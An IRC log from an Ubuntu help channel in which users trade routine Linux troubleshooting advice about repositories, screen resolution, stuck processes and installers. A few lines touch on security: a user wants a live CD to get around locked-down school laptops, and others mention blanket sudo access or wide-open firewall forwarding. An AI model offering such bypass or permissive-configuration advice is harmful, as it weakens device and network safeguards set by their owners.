KervanHansel: why my apache cannot run xajax lib correctly i take this error : Fatal error: Call to undefined method xajax::aFunctions() in /var/www/ajax/yd.php on line 23,04:00
draeathMindFreek, remember the 16-32 transition? the same thing. Wait untill you NEED to switch, or you'll have MORE problems than if you wait untill you have to.04:00
itsmabusjuano: I think its something with iptables in my host or something04:00
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juanoitsmabus: yeah... iptables -P FORWARD ACCEPT should do the trick04:00
KervanHansel: i have included php to apache04:00
HanselKervan - it sounds like you are trying to use a pear library...04:00
FlannelKervan: that's a php issue, not an apache issue04:00
noobcookwhats the console command to eject cd rom04:00
MindFreekdraeath, yeah, i am thinking the same thing, since I have no issues now, I will wait...04:00
draeathI wish they would skip all the steps and just give us 256-bit processors - we'll be set for a nice long while!04:00
biotroxhow to check source list in ubuntu..?04:00
Arigatohow do I start a module from the terminal?04:01
riotkittiei wish there was an easy way to switch between sets of gnome panels =/04:01
draeathbiotrox, cat /etc/apt/sources.list04:01
Hansel/etc/apt/sources.list04:01
Kervanhansel pear library?04:01
toulousehey guys, i am looking for a linux that can run as a live cd but still connect to the Internet, any suggestions?? (it's for these laptops our school gave us, they have them locked down, but with linux i can use the internet (wifi))04:01
riotkittienoobcook: eject04:01
iketurnerare the update servers down04:01
HanselKervan - the problem is you are trying to use a xajax method in your PHP script which isn't properly defined.  I'd ask in #php...04:01
juanoitsmabus: try assinging static ip in vm04:01
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draeathtoulouse, DSL, knoppix, are good starts04:01
hakrzcodekervan, pear is a default in PHP.04:01
draeathDSL is faster, knoppix has more stuff than you would ever want04:02
HanselKervan - go to phppaste.org and paste your code and let them review it.04:02
nhainestoulouse: they almost all can.  I'd recommend Knoppix.04:02
juanoasigning*04:02
hakrzcodekervan, default installed.04:02
noobcookriotkittie: what about when its frozen btu says its buzy04:02
biotroxafter i cat /etc/apt/sources.list and then..?04:02
riotkittietoulouse: slax04:02
toulouseknoppix, ok, ive used dsl embedded04:02
riotkittienoobcook: no clue04:02
draeathtoulouse, also, if oyu don't need linux per-se but want something *NIX look for freesbie04:02
draeathtoulouse, FreeBSD based04:02
Hanselbiotrox - pico or vi the sources.list and edit it... add in repositories you want then save and apt-get update04:02
Hanselthen you can apt-get install and it will use the new repository04:02
toulousewell, it's just for hax0ring the schools laptops04:02
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juanoitsmabus: ifconfig eth0 192.168.0.50 up, then do those route commands again04:02
nhainestoulouse, SLAX is also very nice, but I don't know how easy it'd be to set up the wireless support.04:02
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draeathriotkittie, xfree86 is a dealbreaker for me, my hardware doesn't agree with it04:02
biotroxwhere can i see all the available repositories?04:03
biotrox!repositories04:03
ubotuThe packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource04:03
toulouseso knopix or dsl right?04:03
riotkittiedraeath: ah04:03
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iketurnerare there better respo sites then the standard04:03
toulousettyl guys04:03
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Hanseliketurner - not "better" per se04:03
draeathtoulouse, DSL for speed, and weaker machines. Knoppix for all else04:03
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iketurnerlol04:03
draeathtoulouse, knoppix CDs are a bit more lightweitght than the DVDs04:03
Hanseliketurner - it all depends on the software you are looking for... some repositories have more than others.04:03
draeathtoulouse, they have a 30mb DSL disk, and a ~ 150mb one as well04:03
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juanoitsmabus: but if you can ping then it should be fne04:03
draeathtoulouse, DSL is damn small linux - make searching easier04:03
juanofine04:03
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iketurnerI am trying to install lamp and the sites are timing out when use the apt get command04:04
draeathtoulouse, knoppix is best bet though04:04
iketurnerI really dont want to do tar.gz files04:04
draeathiketurner, 502 BAD GATEWAY?04:04
iketurnerto much work04:04
toulouseyeah, it's gonna be on a cd, so i guess these laptops are probly pieces of $#!T, better go with a relatively small cd (they probly have crappy ram)04:04
iketurnerno04:04
juanoiketurner: synaptic04:04
Hanseliketurner - got your linux install cd sitting around?  heh04:04
iketurnerI get connection error04:04
iketurnertiming out04:04
draeathiketurner, mirrors are having issues though04:04
iketurner 146.137.96.15 8004:05
iketurnerok that is what I thought04:05
draeathiketurner, whats your IP? i can open my proxy for you and you can try to use that? better/MSG me04:05
iketurnerlol04:05
iketurnerna I will wait04:05
draeathup to you04:05
Hanselhah... yes, trust a complete stranger to setup a legit proxy for you04:05
noobcookLOL04:05
riotkittiehahaha04:05
noobcook"what is your ip"04:05
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iketurnerI am not a noob04:05
draeathwould you like a temporary user account for SSH?>04:06
noobcooksocial enggineering at its highest form04:06
iketurnerI am trying this instead of Fedora04:06
Hanselhows abouts I setup an account for you on my boxen and give you sudo access with ALL:NOPASSWD in sudoers?04:06
iketurnerevery time I update I break something04:06
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iketurnerthis version of ubuntu seems stable04:06
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draeathHansel, great for a VM04:06
iketurnerlol04:06
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KervanHansel: http://rafb.net/p/kFOZKl76.html here is my code04:06
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draeathnoobcook, again, virtual machines are useful04:06
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mannyhey guys04:07
nhainesTake care, all.  :)04:07
draeathpwn that qcow image!04:07
HanselKervan - take it to #php... I'm a reformed phper... I'm all ruby.  Actually I'm more easytrieve and jcl than anything these days.  :(04:07
noobcookhello manny04:07
draeathwell, I offered - no offense taken at your decline04:07
Kervanthanks04:07
Kervanhansel thanks04:07
Hanselnp04:07
kintaro0ehey guys..i want to monitor our bandwidth in our company..like i know what they are browsing...what tool shall i install?i've seen etherape..any other..thanks04:08
mannyi have a quick dumb question04:08
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piaohi04:08
mannysudo dpkg-reconfigure linux-image-$(uname -r)04:08
mannywhen a cmd asks you to type that04:08
h3xiskintaro0e, wireshark04:08
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mannydo i acually type it like that or do i put my logon name where the uname is04:08
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kintaro0eh3xis: thanks04:08
draeath$(uname -r) is replaced by the output of 'uname -r'04:08
piaois any body use lumaqq?04:08
Hanselkintaro0e, I recommend packetfence for lots of monitoring/worm mitigation/etc... openbsd has good tools for bandwidth shaping and monitoring as well which I'm sure you can find for linux.04:08
draeathmanny, uname pulls info from kernel04:08
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adaptrkintaro0e: apart from the obvious legal ramifications, you're naming at least three wildly different goals in one sentence04:08
corruptedhi04:08
noobcookwho wants my ip04:09
zachanyone having trouble with the repos tonight?04:09
mannylike for instance bla bla bla manny -r04:09
draeathnope04:09
noobcooklol04:09
noobcookonly dont crash anything04:09
mannyoh04:09
draeathjust like you typed it04:09
corruptedcan anyone help me with installing a certion .bin file?04:09
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mannyok04:09
draeathtry uname -r in a terminal04:09
mannyjust making sure04:09
Hanselnoobcook, we would just /dns you if we wanted it04:09
draeathor 'man uname'04:09
h3xiscorrupted, which bin file04:09
mannyoh ok i see04:09
noobcookthats mask though =p04:09
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Hanselcorrupted, just ./thefile.bin04:09
draeathmanny, heh, it does look like an attempt at 'your name' though :)04:09
corruptedits called install_digichat.bin04:09
Hanselcorrupted, you may need to chmod +x it04:09
draeathyour-name -> urname -> uname04:10
mannylol04:10
Hansel./ <--- how to execute a binary file NOT in /bin /sbin etc04:10
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h3xiscorrupted, run sudo chmod +x instsall_digichat.bin; ./install_digichat.bin04:10
kintaro0eHansel: thanks04:10
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Hanselnp kintaro0e04:10
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draeathyes, if its not in $PATH, you need to put the path. even if it is ./04:10
NsOmNiAccan someone show me a better site for updating screen resolution under Ubuntu Edgy Eft ?04:10
NsOmNiActo get a higher resolution04:10
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draeathNsOmNiAc, keleus.freeshell.org and follow the link04:11
HanselNsOmNiAc, your best bet is to edit your xorg.conf in /etc/X1104:11
juanoNsOmNiAc: edit /etc/X11/xorg.conf04:11
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adaptrNsOmNiAc: what site ? just input your monitor's capabilities in xorg.conf and restart X04:11
corrupted#3xis04:11
HanselNsOmNiAc, make sure you dont over do it... if your monitor cant handle the resolution it will "wig out"04:11
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draeathhttp://ubuntuforums.org/showthread.php?t=8397304:11
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draeathNsOmNiAc, watch out for hardware issues04:12
HanselNsOmNiAc, I recommend you just put a list of resolutions from 1600x1200 down to 800x600 and then use the KDE/Gnome resolution changer to try them all so it will recover if it tweaks out04:12
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ctrlim having an issue with ubuntu 6.10 freezing up randomly04:12
NsOmNiAcyeahh I want 1600x120004:12
ctrlcan anyone help me?04:12
corruptedi forgot how to wisper in irc >.<04:12
draeathNsOmNiAc, my laptop (desktop replacement) refuses to use > 1024x768 unless I turn off the LCD panel and FORCE X11 to think its bigger.04:12
Hanselctrl - only if you ask a Q04:12
draeathcorrupted, /msg USER message04:12
corrupted/msg h3xis04:12
corruptedcorrupted@corrupted-desktop:~$ sh ./install_digichat.bin04:12
corruptedsh: Can't open ./install_digichat.bin04:12
corruptedcorrupted@corrupted-desktop:~$04:12
ctrlwell what is causing this and how can i fix these random freezes?04:12
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kendoes anyone know what the heck an uninteruptable process is????04:12
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Hanselcorrupted, did you chmod +x install_digichat.bin  ???04:13
h3xiscorrupted, did you chmod it?04:13
adaptrken: it's a process that cannot be interrupted, oddly enough04:13
draeathcorrupted, what does 'file install_digichat.bin' say?04:13
corruptedit wont let me open it04:13
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Hubris2Anybody here familiar with the install for Compiz?04:13
hakrzcodelol, adaptr.04:13
ctrl?04:13
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h3xiscorrupted, sudo chmod +x install_digichat.bin04:13
Hansel!compiz | Hubris204:13
kenadaptr: how do you kill an uninteruptable process????04:13
ubotuHubris2: Compiz (compositing window manager) and XGL (X server architecture layered on top of OpenGL) - Howto at http://help.ubuntu.com/community/CompositeManager - Help in #ubuntu-xgl - See http://tinyurl.com/pw5ez for Kubuntu systems04:13
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adaptrken: what does top show ? if it's waiting for I/O, killing it may be dangerous04:14
puffI'm trying to use easybuntu, anybody installed it?04:14
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puffThe instructions appear out of date.04:14
Hanselctrl - I'd recommend you tail -f /var/log/messages04:14
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corruptediv done chmod  and it says no such file or directory04:14
Hanselctrl - watch it and hopefully something gets written right before the freeze04:14
hakrzcodeken, unfortunately it is not interruptable, therefore no signals get through.04:14
ctrlso i just boot up terminal and type that up?04:14
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kenadaptr: not much it is waiting.... its lsdvd at 0% cpu04:14
Hanselctrl - yes... and keep the term visible... obviously if it freezes you wont be able to pull it up to read it later04:14
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adaptrken: what *state* is the process in ?04:15
kenadaptr: and i can'teject04:15
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ctrlhansel: thanks04:15
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draeathcorrupted, type the first few letters of the filename and hit TAB. your typing the file wrong probably04:15
lotacushey guys, I went into configuratio editor to turn off gnome animations, however, I am still getting the animations. :S what's funky about this?04:15
Hanselctrl - np... if it doesnt write anything then its likely a hardware issue.. :(04:15
lotacusyea I killed x and restarted it04:15
Hanselctrl - maybe you have bad RAM?04:15
adaptror bad hair04:15
corruptednothing happens04:15
draeathno beeps?04:15
Hanselyes... bad hair can cause a number of issues... hehe.04:15
draeathls -Llah ./ | grep .bin04:16
draeathget anything with that?04:16
hakrzcodeken, can't eject? disk? open console, and type lsof /media/usbdisk, or whatever the disk is. then paste at http://paste.ubuntu-nl.org/04:16
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kenadaptr: i am not sure what state means in this case but the 'status' is uninteruptable...04:16
lotacuscheck your video card04:16
lotacusas well04:16
h3xisnoobcook, haha i didnt know you were in #260004:16
kenadaptr: I have never heard of a statust like that04:16
lotacusbecuase if your video card is overheating IE: the fan is not working, your os will freeze up04:16
katabaticanybody knowledgeable who can help me with my connection problem?04:16
noobcookh3xis: =p04:17
Hanselkatabatic, describe...04:17
draeathkatabatic, depends. just fire away and we'll help if we can04:17
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katabatictrouble is I fired a way a million times already04:17
draeathkatabatic, nice name, BTW - Tribes rules04:17
katabaticTribes haha04:17
katabaticyes04:17
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katabaticI played Tribes 2 1 hour ago04:17
draeathshazbot!04:17
Hanselmoagg > * games04:17
ctrlhansel: cant be bad ram, its one gig brand new04:17
draeathtoo bad this computer can't deal with it04:17
corruptednothing happens when i click tab04:17
kenhakrzcode: it is a dvd and lsdvd is stuck...04:17
draeathanyways... whats the trouble?04:17
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Hanselctrl - vid card, ram, motherboard... even if they are new they might be jalopys from the bunch.04:18
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hakrzcodeken, killall -9 lsdvd04:18
kenit says that is has a status of 'uninteruptable04:18
draeathcorrupted, then the file is either not there, or it does not start with what you have typed.04:18
Hubris2Can anyone give a hand getting Compiz running under edgy?  I followed a howto...and nothing has changed....04:18
puffSo I downloaded the easybuntu_latest.deb and then did "sudo dpkg -i easybuntu_latest.deb", now what?04:18
puffThere's no man page fo rit.04:18
corruptedits there and it does i see it on my desktop :S04:18
HanselHubris2, try #compiz or #beryl04:18
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Hubris2Hansel - will do....thx04:18
draeathcorrupted, then its in /home/USER/Desktop04:18
kenhakrzcode: I tried kill -9 2345 (proc id...04:18
draeathcorrupted, not in /home/USER/04:18
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hakrzcodeif you did it in a terminal, then close the terminal that you opened it in, also. the command is a child of the terminal. that will give it an extra boot.04:18
lotacusHubris2: compiz is hella lot easier to get working then beryl.04:19
lotacusI have a few bookmarks I can send ya04:19
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Hansellotacus, he left  :(04:19
kenhakrzcode: I tried it your way an it does nothing04:19
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lotacusoh04:19
lotacuswell04:19
lotacustoo bad04:19
xelanilHow do I make ubuntu connect to a free hotspot automatically04:19
Hanselheh.04:19
puffkatabatic: hm, you're having problems with dhcp-on-boot?04:19
draeathken, is the process status Z?04:19
Hanselyou might /notice or /msg him?  :)04:20
corrupteddreath now im confused the filename is Install_DigiChat.bin so what would the full coding be?04:20
linux_user400354how can i make a normal user have full privileges like root does?04:20
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katabaticyes04:20
hakrzcodeken, still hanging? after kill -9, and close terminal? Then you have to do the dreaded, hit the big button, and reboot.04:20
h3xislinux_user400354, that's bad. dont do it04:20
Hansellinux_user400354, visudoers and add them in there...04:20
katabaticmy problem is that, at boot, it won't automatically get an IP address from the router via DHCP. I have to disable/enable the card in network settings, or type some command to enable it, then it connects. I perhaps did something that caused this, but I can't figure it out!! it worked perfectly before.04:20
kendraeath, how can i check that?04:20
draeathcorrupted, its on your desktop? what is your username?04:20
corruptedcorrupted04:20
puffI'm trying to remember, I read something about this topic last year when I was monkeying with a package that attmepts to help you do that.04:20
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draeathken "pgrep command | ps" should find it for ya04:20
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draeathken substitute command with all or part of the process name04:20
puffkatabatic: what packages have you installed lately?04:21
kenhakrzcode, it is... after all that04:21
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slestaki think i screwed up my sources.list  im getting a Bad Gateway error when hitting us.archive.ubuntu.com for 6-7 repositories04:21
Hansellinux_user400354, you add them to /etc/sudoers... man sudoers for info on how to make entries.  Keep in mind you will want to give this only to people you trust.  :)04:21
draeathcorrupted, /home/corrupted/Desktop/Install_DigiChat.bin04:21
katabaticwired, btw04:21
oidiabash: reboot: command not found04:21
draeathcorrupted, letter case (a, A, b, B) matters04:21
Hanseloidia - shutdown -r now04:21
linux_user400354Hansel: just append the username to the bottom of the file i get from visudo?04:21
katabaticpuff:  trouble is  I can't remember exactly. but mostly a network manager or 2 or 3 and power saving utility. I might have done something else that broke it, BUT I just CANNOT figure out what!04:21
oidiaHansel: bash: shutdown: command not found04:21
corruptedThanks you saved my life04:21
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Hansellinux_user400354, look at the other entries and mimic them.04:22
hakrzcodeken, yes, it is probably the walking dead, as draeath is trying to get you to check. reboot is the thing that works for me, when nothing else will.04:22
Hanseloidia - you will need to sudo it  :)  man shutdown04:22
host`I need to create a new environment variable, but I can't use the command 'export' , is there an ubuntu equivalent?04:22
corrupteddang now i have another error04:22
oidiaHansel: root@gaisha:/# shutdown -r now04:22
oidiabash: shutdown: command not found04:22
ken draeath, it just returns the proc id04:22
Hanseloidia - sudo shutdown -r now04:22
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steelbi can't connect to anyone in GAIM, any ideas on how to fix it (i am behind a router)04:23
draeathken, zombie processes cannot be killed - they will die as soon as they do something else. TERM signals cannot be blocked04:23
Hanselhost` - http://ubuntuforums.org/archive/index.php/t-1586.html04:23
katabaticanybody??04:23
h3xisoidia, are you trying to shut down?04:23
oidiaHansel: whell, /etc was empty...04:23
slestakhttp://paste.ubuntu-nl.org/1256/ shows what im getting04:23
carlbhowdy, I just installed ubuntu server (after installing debian) and it was a much nicer experience. I do have a problem though, this apt-get server causes a 502 Bad Gateway Error http://us.archive.ubuntu.com/ubuntu/dists/dapper/main/04:23
host`steelb, being behind a router shouldn't matter with gaim04:23
kendraeath, thankyou...04:23
oidiah3xis: trying to reboot, but i did it manualy now04:23
draeathken, then do 'ps ID'04:23
corrupted error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory04:23
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h3xisoidia, oh. "reboot" works :P04:23
slestakcarlb: ahh, im getting that too.  i thought i screwed my machine up04:23
oidiai think i messed something up04:23
draeathkatabatic, whats the actual problem?04:23
xelanildoes anyone know how to connect to a free hotspot automatically?04:24
oidiah3xis: i know, but it diden't04:24
Hanselcarlb - /etc/apt/sources.list ... comment it out (#) temporarily and apt-get update04:24
draeathkatabatic, i think i joined channel after you stated it04:24
xelaniloh04:24
draeathxelanil, set your ESSID to "ANY"04:24
xelanilokay04:24
draeathxelanil, it should assocaite with the best signal04:24
oidia /etc was empty... i will be surprised if it comes up again04:24
carlbHansel: should slestak and I just assume it is network related issue?04:24
kendraeath: 11829 ?        D      0:00 lsdvd -xp /dev/dvd04:24
Hanseloidia - if you rm'd stuff accidentally then dont expect shutdown to work. :)04:24
Hanselcarlb - sure.... did you try to ping it?04:25
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carlbI was surprised I could get to the server via http04:25
oidiaHansel: i dident remove, maybe unmounted, or encrypted :P04:25
corruptedok i found out the problem i need java is there an easy command to download java?04:25
Hanselcarlb - just comment it out and try again tomorrow...04:25
draeathken, not zombie. looking it up...04:25
carlbthanks a bunch Hansel04:25
oidiaHansel: it will be interresting to se if it starts..04:25
Hanseloidia - in any event get a boot disk and fsck the unmounted filesystem...04:25
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kendraeath: Thank you... you are a lot of help04:26
Hanseloidia - you may have a reinstall in the not-too-distant future.  :(04:26
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katabaticmy problem is that, at boot, it won't automatically get an IP address from the router via DHCP. I have to disable/enable the card in network settings, or type some command to enable it, then it connects. I perhaps did something that caused this, but I can't figure it out!! it worked perfectly before.04:26
oidiaHansel: it came up again =)04:26
oidiaim surprised :P04:26
Hanseloidia - congrats. :)04:26
Hanselkatabatic - look in your rc.local startup scripts... maybe its loading an incorrect parameter or something?04:27
oidiaant /etc/ exists again :P04:27
linux_user400354oidia: poweroff04:27
oidialinux_user400354: thats what i did =)04:27
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ronacrhi from the newbie :)04:27
Hanselhi from the balding old man :(04:28
draeathken, Uninterruptible sleep (usually IO)04:28
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draeathken, the process is doing nothing (0 CPU usage) while waiting for a device to tell it something04:28
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puffkatabatic: sudo fgrep apt /var/log/auth.log04:28
kendraeath: what could be done...?04:28
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puffkatabatic: To figure out what you've installed recently.04:28
kendraeath: how can i kill it04:28
carlbslestak: try again, it started working for me all of a sudden04:28
ronacrI need a little help with edgy, may i ask someone?04:29
draeathken, not sure, give me a few and ill see what i can find04:29
Hanselronacr - you didn't say "mother may I?"04:29
draeathken, does your DVD drive show any access? (the tray light)04:29
kendraeath: ok04:29
ronacrmother may I04:29
katabaticpuff: one sec04:29
Hanselyes you may!04:29
michael20lais there anyway i can get grub to display the graphical menu w/ the password feature enabled?04:29
Hanselmichael20la, surely... man grub04:29
ronacrSegmentation fault (core dumped) ??04:30
adaptr!ask |04:30
ubotu: Don't ask to ask a question. Just ask your question :)04:30
ronacrwhen i run maya04:30
adaptrronacr: that's not a question - is it ?04:30
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Hanselronacr - core dumps are the kernels way of saying "I give up"04:30
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adaptrronacr: a core dump is an application crash that could not be handled more gracefully04:31
Hanselronacr - what application were you trying to run/what were you doing/how can you recreate the error?04:31
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kendraeath: yepp! on solid...04:31
draeathken, in the meantime, one thing I try on my laptop (which seems to work) is hitting the eject button quickly and repeatedly... every time I do hit mine, it stops reading for a second (not sure why - hardware i think) and if I do it enough the kernel notices read trouble and aborts04:31
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ronacrMaya 804:31
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ronacrinstalled perfectly without any errors04:31
adaptrthere is a Maya 8 now ?!?!04:31
ronacryep04:31
Hanselronacr - strace maya ... try to recreate the error and that will give lots of info on what went awry.04:31
hakrzcoderanacr, core dumps are a dump of memory, for the developer to attempt to figure out the problem, when the prog cannot recover from an error.04:31
adaptrronacr: duh, of course it *installed* without any problems - only Windoze manages to crash while copying files...04:32
noobcookHansel: im having trouble compiling a tarbal04:32
draeathanyone, is there any way to make an ATAPI drive abort a read attempt? like if its stuck trying to read from a scratched disk?04:32
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adaptrnoobcook: *compiling* a tarball ? do you mean creating one ?04:32
Hanselnoobcook - tar -zxvf thefile.tar.gz         ./configure          make           make install04:32
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noobcookahhh04:32
adaptrdraeath: well, you could try killing the device node...04:32
ronacrwhat did you mean with "strace maya" ?04:32
noobcookty04:32
steelbare there any messenger proggies that i can actually direct connect to my friends over AIM (Gaim is too buggy)04:32
adaptrronacr: strace is a command.. you run it04:33
Hanselronacr - from an xterm issue that command...04:33
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Hanselsteelb - I always recommend gaim.  :(04:33
hakrzcodesteelb, gaim is too buggy? How so?04:33
draeathadaptr, ken is having the issue. lsdvd had his /dev/dvd ripping open spacetime04:33
steelbi can't connect to anyone over it04:33
adaptrnoobcook: that won't work as written, since it will create a subdirectory04:33
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Hanselsteelb - you can always try naim if you are a CLI (command line interface) type of guy.  :)04:33
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adaptrdraeath: I know, but you arsked...04:33
biotroxanyone knows where indonesian mirrors located..?04:34
steelbman, i want something easy...04:34
Hanselbiotrox - look up the mirrors on the main ubuntu site.04:34
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iketurneris there a webpage with good mirrors04:34
noobcookyeh it has a script though04:34
adaptrin..erm, wait I know this one .. Indonesia ? :)04:34
hakrzcodedraeath, allow ken to reboot the computer. Wasting time to wait for the process, is too much.04:34
iketurnerthanks hansel04:34
biotroxwhere's that04:34
Hanselnp iketurner04:34
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draeathhakrzcode, the process is sleeping, the DVD drive is what won't give up and go 'read error'04:35
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cyphaseis the US repository server down for anyone?04:35
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kendraeath, i got it...04:35
ronacrhey guys,04:35
draeathcyphase, some of us are getting sporadic 502 BAD GATEWAY04:35
Hanselcyphase - I think a few people have complained about it giving bad gateway errors or something... just update your /etc/apt/sources.list and comment it out temporarily04:35
ronacri did strace maya04:35
cyphasesame here04:35
biotrox!main repositories04:35
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adaptrdraeath: the process is *not* sleeping; it is waiting for I/O04:35
draeathcyphase, keep trying or wait and try it later04:35
ronacrEBADF (Bad file descriptor)04:35
hakrzcodedraeath, if his dvd is corrupted, or his drive is on the blink, like mine, then he will be waiting forever. reboot is faster.04:35
adaptrsubtle difference04:35
kendraeath, Just shove a needle in to the tiny hole and the dvd pops up04:35
cyphasei've already switched to the man server04:35
cyphasemain*04:35
ronacrI got lots of these:04:35
ronacrEBADF (Bad file descriptor)04:35
kendraeath, and the proc dies04:35
draeathken, likely your drive won't work untill reboot though04:35
Lam_how do i use the ubuntu boot disc to boot into a terminal?04:36
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noobcooki get errors returned on make Hansel04:36
HanselLam_ when it first boots up it should have a break where you can type in an option to go to a recovery console04:36
draeathken, the emergency eject doesn't play nice until power is cut to the drive, usually (to reset the servos, and such)04:36
adaptrLam_: wait for it to boot completely, then press CTRL-ALT-F104:36
Hanselnoobcook - pastebin them... probably need libs installed04:36
dabaRLam_: the desktop CD?04:36
draeathken, unless you don't have a cheap drive like me :D04:36
Lam_yeah. the desktop cd04:36
hakrzcodenoobcook, what are you compiling? most progs are findable in debs..04:36
Lam_ok thanks guys04:36
noobcookbah deps04:36
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draeathken, also realize you can kill a disk like that when it comes off the spindle onto the tray at high speed04:36
dabaRk, Lam_ see ya04:37
ronacrstrace maya, and I get:04:37
ronacrEBADF (Bad file descriptor)04:37
adaptrnoobcook: you are dissing deb packages but can't even build from source ? weird....04:37
noobcookits just a network routing program04:37
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ronacrHansel?04:37
hakrzcodenoobcook, I do not recommend compiling for people new to linux. Because it will lead to alot of vague questions. No offense.04:37
adaptrnoobcook: what kind of routing ?04:37
draeathken, the highest speed CDR drives are near the actual speed the discs can handle... think of how fast it needs to go to shatter the disk from sheet centripital force... and think if what happens if a rough surface lays against it at that speed04:37
Hanselronacr - dunno what to tell you... I'd google for         linux maya          and that error msg...04:37
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draeathken, skerrratch!04:38
kendraeath, I know... seen a few disks go that way04:38
Hansels/sheet/sheer  :)04:38
ronacrThank you very much,04:38
noobcookyeh i know but sometimes the only way to install things is to compile amirite04:38
ronacrI'll chacek04:38
ronacrcheck04:38
draeathken, just making sure :)04:38
noobcookill paste bin it04:38
noobcookif there was a file that i could double click and install i would =p04:38
draeathken, but then again I've rescued a screwdriver-gouged disk before :) resurfacing + sharpie (reduces reflection on error, disk can see closer to the flaw)04:38
dabaRHansel: did you see http://www.google.com/linux?04:38
HanseldabaR - yes...  :)04:39
adaptrronacr: why not just call A|W for the support you paid for ?04:39
hakrzcodenoobcook, you can double click any deb, to install, and it will get the dependencies if they are reachable, in edgy.04:39
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draeathadaptr, because its no fun to call tech support when you haven't buried youself into a hugh pile of complexity04:39
kendraeath, indeed? actually it seems to have worked here ... I can play the movie now04:39
draeathadaptr, i know, my customers do it to us all the time04:39
adaptrnoobcook: again, what sort of routing program ?04:40
Hanseldraeath, what do you mean?  That is the BEST time to call support... hehe.04:40
kendraeath, rebooting gives me a rash04:40
draeathken, nice! good drive, mine is pretty poor04:40
adaptrdraeath: I think you sorta missed my underlying mess-age04:40
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draeathken, i usually have to 'dd' the disk to the drive first because it skips and such (laser is getting bad)04:40
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draeathken, "dd if=/dev/hdc of=/home/draeath/movie.dvd.iso conv=noerror" works wonderfully :D04:41
ronacrI hope they'll have some answers, thanx though04:41
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draeathken, whoops, that was for adaptr04:41
draeathadaptr, look above at the message to ken04:42
adaptrdraeath: because ?04:42
draeathapadtr WOW. i got confused. I thought i mixed you up, when i was actually mixing you up thinking that04:42
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noobcookadaptr its so i can log onto my other pc remotly it also has "tcp routing capabilities"04:42
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adaptrdraeath: I know, I figured that out already :))04:42
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HanselI hate when my brain "asplodes"04:43
noobcookhakrzcode:  http://pastebin.com/85732104:43
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adaptrnoobcook: *what is the program*.. sjeez this could go so much easier...04:43
draeathHansel, always such a mess.04:43
chefjoeardeeI'm trying to install Ubuntu on my RAID0 (hardware controlled) and I keep getting GRUB Error 2 after the install. Anyone got any ideas?04:43
noobcookit doesnt have a name its just called sip04:43
subzero800anyone: how do i add another resolution option for my monitor?04:43
Hanselsubzero800 - edit /etc/X11/xorg.conf04:43
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draeathsubzero800, http://ubuntuforums.org/showthread.php?t=8397304:43
adaptrnoobcook: oh, a sip router... and you have a VoIP provider and VoIP capabilities ?04:43
Hansellook for the section near the bottom with resolutions in " 's and add it in04:43
draeathHansel, stop that! heh, thats hard. send em here: http://ubuntuforums.org/showthread.php?t=8397304:44
Hanselsubzero800, for example "1600x1200", "1024x768", "800x600"04:44
hakrzcodenoobcook, please use http://paste.ubuntu-nl.org/ for pasting links. pastebin.com will push me into old age...04:44
draeathHansel, already written up04:44
Hanseldraeath, is it in a ! help ?04:44
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adaptrnoobcook: to use a PC remotely see VNC or remote desktop or RDP... they all work fine04:44
draeath!resolutions04:44
ubotuSorry, I don't know anything about resolutions - try searching on http://bots.ubuntulinux.nl/factoids.cgi04:44
draeath!resolution04:44
noobcookadaptr: i only want the program for its remote capabilites04:44
ubotuThe X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto04:44
noobcooki hear this ones the best04:44
Hansel:)04:44
draeath...04:45
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adaptrnoobcook: yeah, right - "I hear" is my favourite software site as well04:45
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hakrzcodenoobcook, you need to install libssl-dev. and sip? you are doing voip?04:45
daningI want to equip my laptop with ubuntu. Can you tell me whick dist should i choose? ubuntu 6.06 or ubuntu 6.10 ?04:45
chefjoeardeeI'm trying to install Ubuntu on my RAID0 (hardware controlled) and I keep getting GRUB Error 2 after the install. Anyone got any ideas?04:45
draeathdaning, 6.1004:45
adaptrdaning: newest is Edgy (6.10)04:45
iketurnerthe latest and greatest04:45
Hanselnoobcook - you need lots of libssl md5 etc04:45
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draeathdaning, do you care if you have gnome, kde, or xfce?04:45
noobcookif i install that i might stuff up my connection04:45
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draeathdaning, if you don't know what im talking about, get ubuntu 6.1004:46
adaptrchefjoeardee: there must be support for the raid hardware in Ubuntu; have you checked this ?04:46
daningdraeath, i dont care04:46
theflyingfoolwhy might a wireless card that shows up under iwconfig not work?04:46
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steelbwhats the linux substitute for microsoft paint?04:46
Hanseltheflyingfool - Murphy's law?04:46
adaptrthe GIMP04:46
noobcookgimp04:46
draeathdaning, ok, grab 'ubuntu 6.10' AKA edgy eft04:46
adaptrwhahaha04:46
hakrzcodeHansel, please give the full thing, if you give advice. not half comments. he needs the dev package. he is missing headers.04:46
iketurnerhave you scan for the essid04:46
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Hanselgimp isn't the MSPaint equivalent... its MSPaint on steroids with an American Express black card...04:46
daningdraeath, thank you very much04:47
theflyingfoolhansel: whos murphy04:47
chefjoeardeeadaptr: Well I built the Array in bios and such04:47
e1test04:47
chefjoeardeeadaptr: And Ubuntu sees each drive seperately though.04:47
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adaptrchefjoeardee: an on-board "hardware" RAID solution ? oh bhoy...04:47
michael20lahow do i edit the text shown in the grub menu? (not the os options but the text underneath it?)04:47
gonzocould anyone help me find a decent .wav tag editor?04:47
Hanselmichael20la, probably grub.conf04:47
chefjoeardeeadaptr: Doesn't sound like a good response you got there.04:47
adaptrmichael20la: /boot/grub/menu.lst04:47
adaptrchefjoeardee: well, is it ? on-board ?04:47
corruptedhey guys i need help again04:47
noobcookhakrzcode:  i thought i had the dev package wen i installed  module-assistant build-essential debhelper debconf dh-make fakeroot libstdc++5 linux-headers-$(uname -r)04:48
corruptedLaunching installer...04:48
corrupted/tmp/install.dir.21690/Linux/resource/jre/bin/i386/native_threads/java: error while loading shared libraries: libstdc++-libc6.1-1.so.2: cannot open shared object file: No such file or directory04:48
chefjoeardeeadaptr: Sorry, I may have explained it incorrectly. It's a PCI card04:48
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iketurnerthey have got to do something about the respo servers04:48
Hanselcorrupted, you need to install that lib.04:48
e1hello, i tried to use thunderbird awhile ago, and now some emails i had before in my regular email account is only viewable in thunderbird, how do i fix this so i can see my mail in my regular account04:48
adaptrchefjoeardee: do you know what hardware it has ?04:48
subzero800Hansel: look at this, where do i edit it, (by the way I added those 1280x1024 sections) http://paste.ubuntu-nl.org/1257/04:48
corruptedi dont know where that lib is :s04:48
